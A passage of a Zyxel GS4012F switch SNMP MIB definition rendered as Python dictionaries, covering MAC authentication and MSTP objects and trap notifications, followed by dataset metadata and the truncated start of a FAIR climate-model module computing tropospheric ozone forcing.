"description" :
"""""",
}, # scalar
"macAuthenticationPassword" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.106.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"macAuthenticationTimeout" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.106.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"macAuthenticationPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.106.5",
"status" : "current",
"description" :
"""""",
}, # table
"macAuthenticationPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.106.5.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in macAuthenticationPortTable.""",
}, # row
"macAuthenticationPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.106.5.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mstp" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107",
}, # node
"mstpGen" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1",
}, # node
"mstpGenState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Enabled/disabled on the mrstp bridge.""",
}, # scalar
"mstpGenCfgIdName" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""The configuration name that identifies the MST
region and is used as one of the inputs in the
computation of the MST Configuration Identifier.""",
"reference>" :
"""12.12.3.4.2.b)""",
}, # scalar
"mstpGenCfgIdRevLevel" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""This object identifies the MST revision that
identifies the MST region and is used as one
of the inputs in the computation of the MST
configuration Identifier.""",
"reference>" :
"""12.12.3.4.2.c)""",
}, # scalar
"mstpGenCfgIdCfgDigest" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"ranges" : [
{
"min" : "16",
"max" : "16"
},
],
"range" : {
"min" : "16",
"max" : "16"
},
},
},
"access" : "readonly",
"description" :
"""Configuration Digest.""",
"reference>" :
"""12.12.3.3.3.a.4""",
}, # scalar
"mstpGenHelloTime" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"parent module" : {
"name" : "BRIDGE-MIB",
"type" : "Timeout",
},
"ranges" : [
{
"min" : "1",
"max" : "10"
},
],
"range" : {
"min" : "1",
"max" : "10"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"mstpGenMaxAge" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.6",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"parent module" : {
"name" : "BRIDGE-MIB",
"type" : "Timeout",
},
"ranges" : [
{
"min" : "6",
"max" : "40"
},
],
"range" : {
"min" : "6",
"max" : "40"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"mstpGenForwardDelay" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.7",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"parent module" : {
"name" : "BRIDGE-MIB",
"type" : "Timeout",
},
"ranges" : [
{
"min" : "4",
"max" : "30"
},
],
"range" : {
"min" : "4",
"max" : "30"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"mstpGenMaxHops" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.8",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "4",
"max" : "30"
},
],
"range" : {
"min" : "4",
"max" : "30"
},
},
},
"access" : "readwrite",
"description" :
"""13.22.f)""",
}, # scalar
"mstpGenCistRootPathCost" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
""".""",
}, # scalar
"mstpGenCistRootBrid" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.1.10",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"ranges" : [
{
"min" : "32",
"max" : "32"
},
],
"range" : {
"min" : "32",
"max" : "32"
},
},
},
"access" : "readonly",
"description" :
""".""",
}, # scalar
"mstMapTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.20",
"status" : "current",
"description" :
"""This table contains one entry for each instance of MSTP.""",
}, # table
"mstMapEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.20.1",
"create" : "true",
"status" : "current",
"linkage" : [
"mstMapIndex",
],
"description" :
"""A conceptual row containing the status of the MSTP instance.""",
}, # row
"mstMapIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.20.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "MstiOrCistInstanceIndex"},
},
"access" : "noaccess",
"description" :
"""Uniquely identifies an instance. The entry of this table with index 0
presents always, represents CIST. When SET operation """,
}, # column
"mstMapVlans1k" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.20.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"ranges" : [
{
"min" : "0",
"max" : "128"
},
],
"range" : {
"min" : "0",
"max" : "128"
},
},
},
"access" : "readwrite",
"description" :
"""A string of octets containing one bit per VLAN. The
first octet corresponds to VLANs with VlanIndex values
1 through 8; the second octet to VLANs 9 through
16 etc. The most significant bit of each octet
corresponds to the lowest VlanIndex value in that octet.
For each VLAN that is mapped to this MSTP instance,
the bit corresponding to that VLAN is set to '1'.
Empty (zero) most significant octes are not mandatory.""",
}, # column
"mstMapVlans2k" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.20.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"ranges" : [
{
"min" : "0",
"max" : "128"
},
],
"range" : {
"min" : "0",
"max" : "128"
},
},
},
"access" : "readwrite",
"description" :
"""A string of octets containing one bit per VLAN for
VLANS with VlanIndex values 1024 through 2047. The
first octet corresponds to VLANs with VlanIndex values
1024 through 1031; the second octet to VLANs 1032
through 1039 etc. The most significant bit of each
octet corresponds to the lowest VlanIndex value in that
octet.
For each VLAN that is mapped to this MSTP instance,
the bit corresponding to that VLAN is set to '1'.
Empty (zero) most significant octes are not mandatory.""",
}, # column
"mstMapVlans3k" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.20.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"ranges" : [
{
"min" : "0",
"max" : "128"
},
],
"range" : {
"min" : "0",
"max" : "128"
},
},
},
"access" : "readwrite",
"description" :
"""A string of octets containing one bit per VLAN for
VLANS with VlanIndex values 2048 through 3071. The
first octet corresponds to VLANs with VlanIndex values
of 2048 through 2055; the second octet to VLANs 2056
through 2063 etc. The most significant bit of each
octet corresponds to the lowest VlanIndex value in that
octet.
For each VLAN that is mapped to this MSTP instance,
the bit corresponding to that VLAN is set to '1'.
Empty (zero) most significant octes are not mandatory.""",
}, # column
"mstMapVlans4k" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.20.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"ranges" : [
{
"min" : "0",
"max" : "128"
},
],
"range" : {
"min" : "0",
"max" : "128"
},
},
},
"access" : "readwrite",
"description" :
"""A string of octets containing one bit per VLAN for
VLANS with VlanIndex values 3072 through 4095. The
first octet corresponds to VLANs with VlanIndex values
3072 through 3079; the second octet to VLANs 3080
through 3087 etc. The most significant bit of each
octet corresponds to the lowest VlanIndex value in that
octet.
For each VLAN that is mapped to this MSTP instance,
the bit corresponding to that VLAN is set to '1'.
Empty (zero) most significant octes are not mandatory.""",
}, # column
"mstMapRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.20.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mstVlanTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.30",
"status" : "current",
"description" :
"""This table contains one entry for each VlanId.""",
}, # table
"mstVlanEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.30.1",
"status" : "current",
"linkage" : [
"mstVlanIndex",
],
"description" :
"""Information regarding the instance to which each Vlan is mapped.""",
}, # row
"mstVlanIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.30.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "4094"
},
],
"range" : {
"min" : "1",
"max" : "4094"
},
},
},
"access" : "noaccess",
"description" :
"""The VlanId for which this entry contains the instance mapped.""",
}, # column
"mstVlanMstIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.30.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "MstiOrCistInstanceIndex"},
},
"access" : "readonly",
"description" :
"""An integer with values ranging from 0 to 64 that identify a
the CIST/MSTI instance to which this VLAN is mapped""",
}, # column
"mstpPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.40",
"status" : "current",
"description" :
"""A table that contains generic information about
every port that is associated with this bridge.""",
}, # table
"mstpPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.40.1",
"status" : "current",
"linkage" : [
"mstpPortIndex",
],
"description" :
"""A list of information for each port of the
bridge.""",
}, # row
"mstpPortIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.40.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "65535"
},
],
"range" : {
"min" : "1",
"max" : "65535"
},
},
},
"access" : "noaccess",
"description" :
"""A unique value, greater than zero, for each Port.
The value for each interface sub-layer
must remain constant at least from one re-initialization
of the entity's network management system to the next re-
initialization.""",
}, # column
"mstpPortOperEdgePort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.40.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "TruthValue"},
},
"access" : "readonly",
"description" :
"""""",
"reference>" :
"""""",
}, # column
"mstpPortOperPointToPointMAC" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.40.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "TruthValue"},
},
"access" : "readonly",
"description" :
"""""",
"reference>" :
"""""",
}, # column
"mstpXstTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50",
"status" : "current",
"description" :
""".""",
}, # table
"mstpXstEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50.1",
"status" : "current",
"linkage" : [
"mstpXstId",
],
"description" :
""".""",
}, # row
"mstpXstId" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "MstiOrCistInstanceIndex"},
},
"access" : "readonly",
"description" :
"""0 means CIST.""",
}, # column
"mstpXstBridgePriority" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "61440"
},
],
"range" : {
"min" : "0",
"max" : "61440"
},
},
},
"access" : "readwrite",
"default" : "32768",
"description" :
"""Bridge priority, in steps of 4096.""",
}, # column
"mstpXstBridgeId" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "BridgeId"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstInternalRootCost" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstRootPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstTimeSinceTopologyChange" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "TimeTicks"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstTopologyChangesCount" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.50.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "Counter32"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60",
"status" : "current",
"description" :
""".""",
}, # table
"mstpXstPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1",
"status" : "current",
"linkage" : [
"mstpXstPortXstId",
"mstpXstPortIndex",
],
"description" :
""".""",
"reference>" :
""".""",
}, # row
"mstpXstPortXstId" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "MstiOrCistInstanceIndex"},
},
"access" : "noaccess",
"description" :
"""0 means CIST.""",
}, # column
"mstpXstPortIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "65535"
},
],
"range" : {
"min" : "1",
"max" : "65535"
},
},
},
"access" : "readonly",
"description" :
"""The value of mstpPortIndex of the Port
in mstpPortTable.""",
}, # column
"mstpXstPortEnable" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
""".""",
}, # column
"mstpXstPortPriority" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "255"
},
],
"range" : {
"min" : "0",
"max" : "255"
},
},
},
"access" : "readwrite",
"default" : "128",
"description" :
"""Port priority, in steps of 16.""",
}, # column
"mstpXstPortPathCost" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "65535"
},
],
"range" : {
"min" : "1",
"max" : "65535"
},
},
},
"access" : "readwrite",
"description" :
""".""",
}, # column
"mstpXstPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.6",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"disabled" : {
"nodetype" : "namednumber",
"number" : "0"
},
"discarding" : {
"nodetype" : "namednumber",
"number" : "1"
},
"learning" : {
"nodetype" : "namednumber",
"number" : "2"
},
"forwarding" : {
"nodetype" : "namednumber",
"number" : "3"
},
"unknown" : {
"nodetype" : "namednumber",
"number" : "4"
},
},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstPortDesignatedRoot" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "BridgeId"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstPortDesignatedCost" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstPortDesignatedBridge" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "BridgeId"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpXstPortDesignatedPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.60.1.10",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
""".""",
}, # column
"mstpNotifications" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.70",
}, # node
}, # nodes
"notifications" : {
"eventOnTrap" : {
"nodetype" : "notification",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.37.2.1",
"status" : "current",
"objects" : {
"eventSeqNum" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventEventId" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventName" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventSetTime" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventSeverity" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventInstanceType" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventInstanceId" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventInstanceName" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventServAffective" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventDescription" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"trapPersistence" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"trapSenderNodeId" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"sysObjectID" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
},
"description" :
"""This trap is used to inform network management system that a delta
fault event (events that are automatically cleared) has occured
or a normal fault event (not automatically cleared) state has
been set on.
Objects are used as follows:
- eventSeqNum is the sequence number of the event. For normal
type of events must equal to the sequence number of the event
in the events table.
- eventEventId specifies what fault event has occured.
- eventName specifies the name of the fault event.
- eventSetTime indicates when fault event has occured
(delta events) or when fault has been set on (normal events).
- eventSeverity reports the severity level of the event.
- eventInstanceType indicates what kind of object is faulty.
- eventInstanceId specifies what instance is faulty.
- eventInstanceName may contain textual description for
the faulty object.
- eventServAffective specifies whether the event is
immediately service affcetive.
- eventDescription reports possible additional information about the event.
- trapPersistence tells whether this event is a delta or normal event.
- trapSenderNodeId specifies the node ID of the sending network element if
configuring it is supported for the network element, otherwise 0.
- sysObjectID specifies what kind of equipment reports the fault event.
For more information see the eventTable specification""",
}, # notification
"eventClearedTrap" : {
"nodetype" : "notification",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.37.2.2",
"status" : "current",
"objects" : {
"eventSeqNum" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventEventId" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventSetTime" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventInstanceType" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"eventInstanceId" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"trapRefSeqNum" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"trapSenderNodeId" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
"sysObjectID" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
},
"description" :
"""This trap is used to inform network management system that a normal
type fault event has been cleared (state set off).
Objects are used as follows:
- eventSeqNum is the sequence number of the this clearing event. Note that
the sequence number of the cleared event is reported in the trapRefSeqNum
object.
- eventEventId specifies what event has been cleared.
- eventSetTime indicates when fault event has been cleared.
- eventInstanceType indicates what kind of object has been
faulty.
- eventInstanceId specifies what instance has been faulty.
- trapRefSeqNum specifies the sequence number of the cleared event (i.e.
the sequence number was assigned for the event in the events table).
- trapSenderNodeId specifies the node ID of the sending network element if
configuring it is supported for the network element, otherwise 0.
- sysObjectID specifies what kind of equipment reports the clearing event.
For more information see the eventTable specification""",
}, # notification
"newRoot" : {
"nodetype" : "notification",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.2.1",
"status" : "current",
"objects" : {
"mrstpBridgeIndex" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
},
"description" :
"""""",
}, # notification
"topologyChange" : {
"nodetype" : "notification",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.2.2",
"status" : "current",
"objects" : {
"mrstpBridgeIndex" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
},
"description" :
"""""",
}, # notification
"newRoot" : {
"nodetype" : "notification",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.70.1",
"status" : "current",
"objects" : {
"mstpXstId" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
},
"description" :
"""""",
}, # notification
"topologyChange" : {
"nodetype" : "notification",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.107.70.2",
"status" : "current",
"objects" : {
"mstpXstId" : {
"nodetype" : "object",
"module" : "ZYXEL-GS4012F-MIB"
},
},
"description" :
"""""",
}, # notification
}, # notifications
}
| 36.095743 | 154 | 0.372015 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 208,887 | 0.506922 |
7c5785c50891073f1d8d050a467303e1d02503f4 | 5,967 | py | Python | fair/forcing/ozone_tr.py | znicholls/FAIR | 599c44ed140b069968ba7d1ca99de40218e42545 | [
"Apache-2.0"
] | 1 | 2020-11-14T16:09:39.000Z | 2020-11-14T16:09:39.000Z | fair/forcing/ozone_tr.py | znicholls/FAIR | 599c44ed140b069968ba7d1ca99de40218e42545 | [
"Apache-2.0"
] | 1 | 2020-11-02T17:59:02.000Z | 2020-11-02T17:59:02.000Z | fair/forcing/ozone_tr.py | znicholls/FAIR | 599c44ed140b069968ba7d1ca99de40218e42545 | [
"Apache-2.0"
] | 2 | 2020-11-02T16:42:05.000Z | 2020-12-15T16:36:24.000Z | from __future__ import division
import numpy as np
from ..constants import molwt
def regress(emissions,
beta=np.array([2.8249e-4, 1.0695e-4, -9.3604e-4, 99.7831e-4])):
"""Calculates tropospheric ozone forcing from precursor emissions.
Inputs: (nt x 40) emissions array
Keywords:
beta: 4-element array of regression coefficients of precursor
radiative efficiency, W m-2 (Mt yr-1)-1.
order is [CH4, CO, NMVOC, NOx]
Outputs:
tropospheric ozone ERF time series.
"""
if emissions.ndim==2:
em_CH4, em_CO, em_NMVOC, em_NOx = emissions[:,[3, 6, 7, 8]].T
else:
em_CH4, em_CO, em_NMVOC, em_NOx = emissions[[3, 6, 7, 8]]
F_CH4 = beta[0] * em_CH4
F_CO = beta[1] * em_CO
F_NMVOC = beta[2] * em_NMVOC
F_NOx = beta[3] * em_NOx
F = F_CH4 + F_CO + F_NMVOC + F_NOx
return F
def cmip6_stevenson(emissions, C_CH4, T=0, feedback=False,
PI=np.array([722, 170, 10, 4.29]),
beta=np.array([1.77871043e-04, 5.80173377e-05, 2.09151270e-03,
1.94458719e-04])):
"""Calculates tropospheric ozone forcing from precursor emissions based on
Stevenson et al, 2013 10.5194/acp-13-3063-2013
Inputs:
emissions: (nt x 40) numpy array
C_CH4 : (nt) numpy array of methane concentrations, ppb
Keywords:
T : change in surface temperature since pre-industrial
feedback : True or False - include temperature feedback on ozone
forcing?
PI: : 4-element array of pre-industrial CH4 concentrations,
CO emissions, NMVOC emissions and NOx emissions
beta: : coefficients of how CH4 concentrations, CO emissions,
NMVOC emissions and NOx emissions affect forcing
Outputs:
tropospheric ozone ERF time series.
"""
# expand to 2D/1D if not already
if emissions.ndim == 1:
nspec = len(emissions)
emissions = emissions.reshape((1, nspec))
if np.isscalar(C_CH4):
C_CH4 = np.ones(1)*C_CH4
year, em_CO, em_NMVOC, em_NOx = emissions[:,[0, 6, 7, 8]].T
nt = len(year)
F_CH4, F_CO, F_NMVOC, F_NOx = np.zeros((4,nt))
for i in range(nt):
F_CH4[i] = beta[0] * (C_CH4[i]-PI[0])
F_CO[i] = beta[1] * (em_CO[i]-PI[1])
F_NMVOC[i] = beta[2] * (em_NMVOC[i]-PI[2])
F_NOx[i] = beta[3] * (em_NOx[i]-PI[3])
